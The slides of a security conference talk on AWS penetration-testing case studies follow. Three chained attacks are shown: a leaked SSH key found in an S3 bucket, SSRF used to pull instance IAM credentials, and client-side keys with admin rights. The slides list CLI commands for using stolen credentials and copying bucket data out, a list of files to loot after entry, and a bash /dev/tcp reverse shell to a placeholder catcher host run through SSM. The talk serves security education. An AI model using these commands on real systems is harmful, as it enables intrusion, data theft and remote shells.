Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Raining shells in AWS by chaining vulnerabilities

Raining shells in AWS by chaining vulnerabilities

A collection of 3 scenarios from AWS penetration testing exercises over the years that cover mis-configurations and application security vulnerabilities that lead to shells on EC2 instances and access to other services beyond the plane of attack.


August 12, 2019

More Decks by riyazwalikar

Other Decks in Technology


  1. Raining shells in AWS by chaining vulnerabilities CASE STUDIES AND

  2. About me ▪ Riyaz Walikar, Chief Hacker @ Appsecco ▪

    One of the OWASP Bangalore Chapter leaders along with Vandana and Prashant KV ☺ ▪ Several years of security experience in breaking things (Offensive Security) ▪ All kinds of things (applications/mobile/systems/networks/wireless/cloud) ▪ Love testing applications and infra on the cloud, learning new things everyday
  3. What’s this talk about? ▪ Common security mis-configurations that lead

    to access to systems and data beyond the plane of attack ▪ Demos of 3 cool scenarios that we have encountered before that allowed us to gain access to servers and data by chaining multiple vulnerabilities ▪ Possibly, talk about mitigations, if time permits, and share other stories that you folks may have
  4. Common theme A common theme you will notice throughout the

    3 scenarios ❑ code level vulnerability that allows access to data or execute code ❑ overly permissive policies assigned to roles used by accessible services ❑ the absence of logging that could have been used to otherwise stop the attacks after the initial foothold was obtained ❑ potentially sensitive data not encrypted at rest
  5. Case 1 – Misconfigured bucket to system shells AND WHY

  6. DNS Records Fetch DNS records. Namely identify the NS, A,

    CNAME, SOA and TXT. This can tell you a lot about the underlying apps, technology or how the external infra looks like dig NS galaxybutter.co dig CNAME @ns-296.awsdns-37.com www.galaxybutter.co dig TXT @ns-296.awsdns-37.com galaxybutter.co
  7. Port scan results Nmap for top 1000 common ports using

    a TCP SYN scan with script scanning, version detection and show only open ports. -g80 is used to set source port as one of the ways the nmap documentation tells us is a Firewall IDS evasion technique sudo nmap --open -Pn –top-ports 1000 -T4 -sS -g80 -sC -sV
  8. S3 bucket enumeration A lot of tools are available to

    do this. Personal favorite for quick results, is also one of the oldest tools written to do this - https://digi.ninja/projects/bucket_finder.php In the most simplistic formats, a dictionary of words is appended to the *.s3.amazonaws.com and the DNS A record is identified. Presence of an A record means bucket present. Alternatively, an HTTPS request is also made, a 404 means bucket not found. Anything else means bucket exists.
  9. SSH key test Tested the discovered key across servers that

    were discovered during the assessment Common AWS EC2 usernames were tried (ubuntu, ec2-user, root etc.) Were able to login into 1 server ssh -i sales-marketing-app.pem [email protected]
  10. Post exploitation spoils Some places to look once you are

    able to execute code or read files on linux ◦ Files inside the /home/* directory ◦ /etc/passwd ◦ /etc/hosts ◦ Files inside webroots if available ◦ /proc/environ More things to do here - https://github.com/mubix/post-exploitation/wiki/Linux-Post-Exploitation- Command-List
  11. Case 2 – SSRF to Shell via IAM Policies VERY

  12. What do you trust? A web app with a login

    page was discovered. The application had the ability to register new users We registered a new user and logged in App’s functionality allowed users’ to provide a URL and make a web request on their behalf Essentially trusting user input with the URL that would be used to make a request from the server side
  13. Server Side Request Forgery – SSRF / XSPA A vulnerability

    that occurs when a service makes a request (HTTP or otherwise) to an endpoint whose address is controlled by the user, without sanitisation or whitelisting. This user controlled request is made from the server. Can be used to ◦ make requests to internal applications/services ◦ Port scans using behaviour and responses of (lib)curl libraries ◦ On the cloud, access the metadata endpoint to retrieve EC2 instance information ◦ Perform denial of service attacks by making requests that will fetch large responses ◦ Perform code execution by overflowing vulnerable services using service specific payloads
  14. SSRF + Cloud Applications on VMs = BAD Well mostly

    … Virtual Machines on the cloud across AWS, GCP, Azure, DigitalOcean and others have an endpoint accessible only from the machine itself called the metadata endpoint This is accessible at Contains information about the machine, its cloud specific identifiers and user data that is attached EC2 instances can also have a IAM role attached to a machine, which causes a temporary set of credentials to become available from the metadata instance
  15. SSRF and IAM credentials Making a request to the following

    URL using the application’s functionality leads to the name of the IAM role attached to the machine ◦ Accessing the IAM rolename generates temporary tokens that can be used to impersonate the EC2 instance ◦
  16. Adding the creds to local AWS profile Created another local

    profile in AWS CLI aws configure --profile stolencreds Also, edited the ~/.aws/credentials file to include the value of the aws_session_token variable Checked if the creds are setup properly using aws sts get-caller-identity --profile stolencreds
  17. IAM policies and permissions The attached IAM role had permissions

    that gave the creds the ability to perform actions beyond the EC2 instance aws s3 ls --profile stolencreds aws s3 ls s3://data.serverhealth-corporation --profile stolencreds aws s3 sync s3://data.serverhealth-corporation . --profile stolencreds
  18. Executing commands without SSH Using AWS SSM (EC2 Systems Manager),

    it is possible to execute commands and retrieve output using the AWS CLI or programmatically More about this - https://docs.aws.amazon.com/systems-manager/latest/userguide/ssm- agent.html Basically, use the CLI to send a command to AWS service, an agent running on the instance is contacted, the command is run as root and the output is presented to another service endpoint
  19. IAM, SSM and Code execution To execute a command using

    SSM, the user or IAM role whose credentials are being used must have the AmazonEC2RoleforSSM permission attached Also, the Amazon SSM Agent must be running on the instance. This is available in multiple Amazon Machine Images after November 2016 Commands can be executed using an API call and the output read via another API call Commands are run as a user called ssm-user who has sudoers rights on Linux and is in the Administrators localgroup on Windows images
  20. IAM, SSM and Code execution We checked if the machine

    had the Amazon SSM agent installed and if our credentials were good enough ◦ aws ssm describe-instance-information --profile stolencreds To Execute a command (ifconfig) ◦ aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds To read output ◦ aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" -- profile stolencreds
  21. Reverse shell using SSM Add the following to a file

    called reverse-shell.sh and upload it to a public S3 bucket. This has to be an S3 bucket and cannot be any other hosting on the Internet. Edit the placeholders. #!/bin/bash bash -i >& /dev/tcp/IP-OF-REVERSE-SHELL-CATCHER/9999 0>&1 Run netcat to catch the reverse shell ◦ nc -lvp 9999 Run the following SSM command to get a reverse shell connect on the IP where nc is running ◦ aws ssm send-command --document-name "AWS-RunRemoteScript" --instance- ids "INSTANCE-ID-HERE" --parameters '{"sourceType":["S3"],"sourceInfo":["{\"path\":\"PATH-TO-S3-SHELL- SCRIPT\"}"],"commandLine":["/bin/bash reverse-shell.sh"]}' --query "Command.CommandId"
  22. Case 3 – Client-Side Keys, IAM Policies and a Vulnerable

  23. A static website doing dynamic things The web application was

    a static HTML site with functionality to upload files The site itself was hosted on S3 A quick review of the JS and by analysing the HTTP traffic using Burp, it became evident that the site was adding content to an S3 bucket How was the static site writing files to a bucket you ask?
  24. User Keys and AWS CLI The discovered IAM user keys

    were added to the AWS CLI as a different profile and a tool called ScoutSuite was run with the credentials to see what kind of access the IAM user had aws configure --profile uploadcreds Scoutsuite can be obtained from - https://github.com/nccgroup/ScoutSuite scout –profile uploadcreds This returned a complete picture of the AWS infrastructure because the user had the AdministratorAccess policy attached as a permission
  25. To Lambda or not to Lambda The account had multiple

    lambda functions One of them performed a rudimentary function where it accepted user input and gave the md5sum of a string https://ntf9ood72h.execute-api.us-east-1.amazonaws.com/api/hello
  26. Downloading the lambda for analysis Using the AWS account access

    that we now had, we downloaded the lambda for analysis - aws lambda list-functions --profile uploadcreds - aws lambda get-function --function-name lambda-name-here-from- previous-query --query 'Code.Location' --profile uploadcreds - wget -O lambda-function.zip url-from-previous-query --profile uploadcreds The downloaded zip contains the code for the lambda.
  27. Shell from here? We enumerated the running instances in the

    AWS account and found multiple machines aws ec2 describe-instances --profile uploadcreds As a proof of concept, we were able to show code execution on one of the servers using SSM as well as using the new EC2 instance connect short SSH access for AWS https://aws.amazon.com/blogs/compute/new-using-amazon-ec2-instance-connect-for-ssh- access-to-your-ec2-instances/ This is left as an exercise for the reader. The next slide has the command and the output.
  28. In closing ▪ As we started with and if it’s

    evident now, the most common theme is the misconfiguration of services, insecure programming and permissions that should not have been ▪ Reconnaissance and OSINT is the key for a lot of cloud services and applications. When attacking apps and servers, it is important to identify key DNS, whois, IP history and sub-domain information ▪ Post exploitation has no limits with the cloud. You can attack additional services, disrupt logging, make code changes to attack users – Your imagination (and the agreement with your client) is the limit ☺ ▪ There are a ton of tools that security folks have written on GitHub and a lot of work is being done in the attack and exploitation areas. ▪ The key to learning to attack is to Setup > Break > Learn > Repeat
  29. Thank you ▪ Riyaz Ahemed Walikar ▪ @riyazwalikar ▪ @wincmdfu

    ▪ @appseccouk ▪ https://blog.appsecco.com ▪ https://appsecco.com ▪ https://ibreak.software